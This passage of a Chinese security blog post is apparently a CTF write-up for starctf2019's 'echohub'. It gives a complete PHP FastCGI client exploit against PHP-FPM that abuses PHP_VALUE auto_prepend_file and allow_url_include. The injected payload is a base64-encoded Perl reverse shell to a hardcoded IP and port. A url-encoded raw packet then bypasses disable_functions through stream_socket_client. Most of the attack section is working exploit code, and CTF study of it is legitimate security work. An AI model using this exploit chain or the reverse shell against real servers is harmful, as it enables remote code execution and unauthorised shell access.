				$vlen |= ( ord( $data{$p ++} ) << 8 );
				$vlen |= ( ord( $data{$p ++} ) );
			}
			$array[ substr( $data, $p, $nlen ) ] = substr( $data, $p + $nlen, $vlen );
			$p                                   += ( $nlen + $vlen );
		}

		return $array;
	}

	/**
	 * Decode a FastCGI Packet
	 *
	 * @param String $data String containing all the packet
	 *
	 * @return array
	 */
	private function decodePacketHeader( $data ) {
		$ret                  = array();
		$ret['version']       = ord( $data{0} );
		$ret['type']          = ord( $data{1} );
		$ret['requestId']     = ( ord( $data{2} ) << 8 ) + ord( $data{3} );
		$ret['contentLength'] = ( ord( $data{4} ) << 8 ) + ord( $data{5} );
		$ret['paddingLength'] = ord( $data{6} );
		$ret['reserved']      = ord( $data{7} );

		return $ret;
	}

	/**
	 * Read a FastCGI Packet
	 *
	 * @return array
	 */
	private function readPacket() {
		if ( $packet = fread( $this->_sock, self::HEADER_LEN ) ) {
			$resp            = $this->decodePacketHeader( $packet );
			$resp['content'] = '';
			if ( $resp['contentLength'] ) {
				$len = $resp['contentLength'];
				while ( $len && ( $buf = fread( $this->_sock, $len ) ) !== false ) {
					$len             -= strlen( $buf );
					$resp['content'] .= $buf;
				}
			}
			if ( $resp['paddingLength'] ) {
				$buf = fread( $this->_sock, $resp['paddingLength'] );
			}

			return $resp;
		} else {
			return false;
		}
	}

	/**
	 * Get Informations on the FastCGI application
	 *
	 * @param array $requestedInfo information to retrieve
	 *
	 * @return array
	 */
	public function getValues( array $requestedInfo ) {
		$this->connect();
		$request = '';
		foreach ( $requestedInfo as $info ) {
			$request .= $this->buildNvpair( $info, '' );
		}
		fwrite( $this->_sock, $this->buildPacket( self::GET_VALUES, $request, 0 ) );
		$resp = $this->readPacket();
		if ( $resp['type'] == self::GET_VALUES_RESULT ) {
			return $this->readNvpair( $resp['content'], $resp['length'] );
		} else {
			throw new \Exception( 'Unexpected response type, expecting GET_VALUES_RESULT' );
		}
	}

	/**
	 * Execute a request to the FastCGI application
	 *
	 * @param array $params Array of parameters
	 * @param String $stdin Content
	 *
	 * @return String
	 */
	public function request( array $params, $stdin ) {
		$id = $this->async_request( $params, $stdin );

		return $this->wait_for_response( $id );
	}

	/**
	 * Execute a request to the FastCGI application asyncronously
	 *
	 * This sends request to application and returns the assigned ID for that request.
	 *
	 * You should keep this id for later use with wait_for_response(). Ids are chosen randomly
	 * rather than seqentially to guard against false-positives when using persistent sockets.
	 * In that case it is possible that a delayed response to a request made by a previous script
	 * invocation comes back on this socket and is mistaken for response to request made with same ID
	 * during this request.
	 *
	 * @param array $params Array of parameters
	 * @param String $stdin Content
	 *
	 * @return Integer
	 */
	public function async_request( array $params, $stdin ) {
		$this->connect();
		// Pick random number between 1 and max 16 bit unsigned int 65535
		$id = mt_rand( 1, ( 1 << 16 ) - 1 );
		// Using persistent sockets implies you want them keept alive by server!
		$keepAlive     = intval( $this->_keepAlive || $this->_persistentSocket );
		$request       = $this->buildPacket( self::BEGIN_REQUEST
			, chr( 0 ) . chr( self::RESPONDER ) . chr( $keepAlive ) . str_repeat( chr( 0 ), 5 )
			, $id
		);
		$paramsRequest = '';
		foreach ( $params as $key => $value ) {
			$paramsRequest .= $this->buildNvpair( $key, $value, $id );
		}
		if ( $paramsRequest ) {
			$request .= $this->buildPacket( self::PARAMS, $paramsRequest, $id );
		}
		$request .= $this->buildPacket( self::PARAMS, '', $id );
		if ( $stdin ) {
			$request .= $this->buildPacket( self::STDIN, $stdin, $id );
		}
		$request .= $this->buildPacket( self::STDIN, '', $id );
		if ( fwrite( $this->_sock, $request ) === false || fflush( $this->_sock ) === false ) {
			$info = stream_get_meta_data( $this->_sock );
			if ( $info['timed_out'] ) {
				throw new TimedOutException( 'Write timed out' );
			}
			// Broken pipe, tear down so future requests might succeed
			fclose( $this->_sock );
			throw new \Exception( 'Failed to write request to socket' );
		}
		$this->_requests[ $id ] = array(
			'state'    => self::REQ_STATE_WRITTEN,
			'response' => null
		);

		return $id;
	}

	/**
	 * Blocking call that waits for response to specific request
	 *
	 * @param Integer $requestId
	 * @param Integer $timeoutMs [optional] the number of milliseconds to wait. Defaults to the ReadWriteTimeout value set.
	 *
	 * @return string  response body
	 */
	public function wait_for_response( $requestId, $timeoutMs = 0 ) {
		if ( ! isset( $this->_requests[ $requestId ] ) ) {
			throw new \Exception( 'Invalid request id given' );
		}
		// If we already read the response during an earlier call for different id, just return it
		if ( $this->_requests[ $requestId ]['state'] == self::REQ_STATE_OK
		     || $this->_requests[ $requestId ]['state'] == self::REQ_STATE_ERR
		) {
			return $this->_requests[ $requestId ]['response'];
		}
		if ( $timeoutMs > 0 ) {
			// Reset timeout on socket for now
			$this->set_ms_timeout( $timeoutMs );
		} else {
			$timeoutMs = $this->_readWriteTimeout;
		}
		// Need to manually check since we might do several reads none of which timeout themselves
		// but still not get the response requested
		$startTime = microtime( true );
		do {
			$resp = $this->readPacket();
			if ( $resp['type'] == self::STDOUT || $resp['type'] == self::STDERR ) {
				if ( $resp['type'] == self::STDERR ) {
					$this->_requests[ $resp['requestId'] ]['state'] = self::REQ_STATE_ERR;
				}
				$this->_requests[ $resp['requestId'] ]['response'] .= $resp['content'];
			}
			if ( $resp['type'] == self::END_REQUEST ) {
				$this->_requests[ $resp['requestId'] ]['state'] = self::REQ_STATE_OK;
				if ( $resp['requestId'] == $requestId ) {
					break;
				}
			}
			if ( microtime( true ) - $startTime >= ( $timeoutMs * 1000 ) ) {
				// Reset
				$this->set_ms_timeout( $this->_readWriteTimeout );
				throw new \Exception( 'Timed out' );
			}
		} while ( $resp );
		if ( ! is_array( $resp ) ) {
			$info = stream_get_meta_data( $this->_sock );
			// We must reset timeout but it must be AFTER we get info
			$this->set_ms_timeout( $this->_readWriteTimeout );
			if ( $info['timed_out'] ) {
				throw new TimedOutException( 'Read timed out' );
			}
			if ( $info['unread_bytes'] == 0
			     && $info['blocked']
			     && $info['eof'] ) {
				throw new ForbiddenException( 'Not in white list. Check listen.allowed_clients.' );
			}
			throw new \Exception( 'Read failed' );
		}
		// Reset timeout
		$this->set_ms_timeout( $this->_readWriteTimeout );
		switch ( ord( $resp['content']{4} ) ) {
			case self::CANT_MPX_CONN:
				throw new \Exception( 'This app can\'t multiplex [CANT_MPX_CONN]' );
				break;
			case self::OVERLOADED:
				throw new \Exception( 'New request rejected; too busy [OVERLOADED]' );
				break;
			case self::UNKNOWN_ROLE:
				throw new \Exception( 'Role value not known [UNKNOWN_ROLE]' );
				break;
			case self::REQUEST_COMPLETE:
				return $this->_requests[ $requestId ]['response'];
		}
	}
}

$client    = new Client( 'tcp://127.0.0.1:9000', - 1 );
#$client    = new Client( 'unix:///run/php/php7.3-fpm.sock', - 1 );
$php_value = "auto_prepend_file = php://input";
$filepath  = '/var/www/html/index.php';
$shellcode = base64_encode( 'perl -e \'use Socket;$i="117.48.197.137";$p=7777;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\'' );
$content   = "<?php system(base64_decode('$shellcode'));exit();?>";
echo $client->request(
	array(
		'GATEWAY_INTERFACE' => 'FastCGI/1.0',
		'REQUEST_METHOD'    => 'POST',
		'SCRIPT_FILENAME'   => $filepath,
		'SERVER_SOFTWARE'   => 'php/fcgiclient',
		'REMOTE_ADDR'       => '127.0.0.1',
		'REMOTE_PORT'       => '9985',
		'SERVER_ADDR'       => '127.0.0.1',
		'SERVER_PORT'       => '80',
		'SERVER_NAME'       => 'mag-tured',
		'SERVER_PROTOCOL'   => 'HTTP/1.1',
		'CONTENT_TYPE'      => 'application/x-www-form-urlencoded',
		'CONTENT_LENGTH'    => strlen( $content ),
		'PHP_VALUE'         => $php_value,
		'PHP_ADMIN_VALUE'   => 'allow_url_include = On'
	),
	$content
);

搭建nginx和fpm,并通过tcp://127.0.0.1:9000进行通讯,运行FPM攻击脚本,并使用tcpdump抓取攻击数据包

image.png

利用16进制的RAW转换并进行url编码:

function hexToStr( $hex ) {
	$str = "";
	for ( $i = 0; $i < strlen( $hex ) - 1; $i += 2 ) {
		$str .= chr( hexdec( $hex[ $i ] . $hex[ $i + 1 ] ) );
	}

	return $str;
}

$str = '0101b0720008000000010000000000000......00000000';
var_dump( urlencode( hexToStr( $str ) ) );

这里最后选择未被禁用的stream_socket_client函数和FPM进行通讯

$shellcode = '$f = stream_socket_client("unix:///run/php/php7.3-fpm.sock", $errno, $errstr,3);echo 111;$payload = urldecode("%01%01%B0r%00%08%00%00%00%01%00%00%00%00%00%00%01%04%B0r%01%87%00%00%11%0BGATEWAY_INTERFACEFastCGI%2F1.0%0E%04REQUEST_METHODPOST%0F%17SCRIPT_FILENAME%2Fvar%2Fwww%2Fhtml%2Findex.php%0F%0ESERVER_SOFTWAREphp%2Ffcgiclient%0B%09REMOTE_ADDR127.0.0.1%0B%04REMOTE_PORT9985%0B%09SERVER_ADDR127.0.0.1%0B%02SERVER_PORT80%0B%09SERVER_NAMEmag-tured%0F%08SERVER_PROTOCOLHTTP%2F1.1%0C%21CONTENT_TYPEapplication%2Fx-www-form-urlencoded%0E%03CONTENT_LENGTH341%09%1FPHP_VALUEauto_prepend_file+%3D+php%3A%2F%2Finput%0F%16PHP_ADMIN_VALUEallow_url_include+%3D+On%01%04%B0r%00%00%00%00%01%05%B0r%01U%00%00%3C%3Fphp+system%28base64_decode%28%27cGVybCAtZSAndXNlIFNvY2tldDskaT0iMTE3LjQ4LjE5Ny4xMzciOyRwPTc3Nzc7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwc**0b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI%2BJlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307Jw%3D%3D%27%29%29%3Bexit%28%29%3B%3F%3E%01%05%B0r%00%00%00%00");echo 222;stream_socket_sendto($f,$payload);';

此时便获得了一个不受php.ini限制的shell,获取去flag的方式和第一个题目此时一致。

参考

https://blog.csdn.net/qq_22863733/article/details/80349120

https://www.zhaoj.in/read-5479.html

https://codingstandards.iteye.com/blog/836588

https://github.com/sixstars/starctf2019/tree/master/web-echohub


本文作者:Rai4over

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/105333.html

Tags:
评论  (0)
快来写下你的想法吧!

Rai4over

文章数:20 积分: 330

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号